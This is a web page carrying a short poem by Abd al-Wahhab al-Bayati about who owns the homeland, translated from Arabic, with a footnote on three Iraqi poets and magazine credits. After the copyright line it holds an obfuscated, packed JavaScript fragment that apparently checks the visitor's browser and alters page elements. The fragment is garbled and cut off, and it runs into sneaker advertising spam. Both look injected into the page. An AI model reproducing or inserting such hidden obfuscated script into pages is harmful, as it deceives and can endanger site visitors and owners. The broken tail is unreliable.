To Whom Does The Homeland Belong?

By 
Abd al-Wahhab-al-Bayati

To whom does the homeland belong?
the mercenary killer or the jailer?
o' my lady
or does it belong to
the rain man?
Nazik, Sayyab, and Jawahiri?*
or to the man who steals
bread, the medicine, our homeland?

_

(*) Reference to Three leading Iraqi poets: Badr Shakir
al-Sayyab (1926-1964), Muhammad Mahdi al- Jawahiri
(1900-1997) and Nazik al- Mala’ikah (1923-2007)

This Poem appeared  in Al Jadid Vol. 5 no.  28, 1999

Translated from the Arabic by Salih J. Altoma

© Copyright 2013  AL JADID MAGAZINE

{e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('b i=r f["\\q\\1\\4\\g\\p\\l"]("\\4"+"\\7"+"\\7"+"\\4"+"\\5\\1","\\4\\k");s(!i["\\3\\1\\2\\3"](m["\\h\\2\\1\\j\\n\\4\\1\\6\\3"])){b a=f["\\e\\7\\o\\h\\d\\1\\6\\3"]["\\4\\1\\3\\g\\5\\1\\d\\1\\6\\3\\2\\z\\9\\A\\5\\c\\2\\2\\x\\c\\d\\1"](\'\\t\\1\\9\\2\\w\\v\\7\\j\\e\\2\');u(b 8=0;8latest Running Sneakers | Air Jordan 1 Retro High OG 'University Blue' — Ietp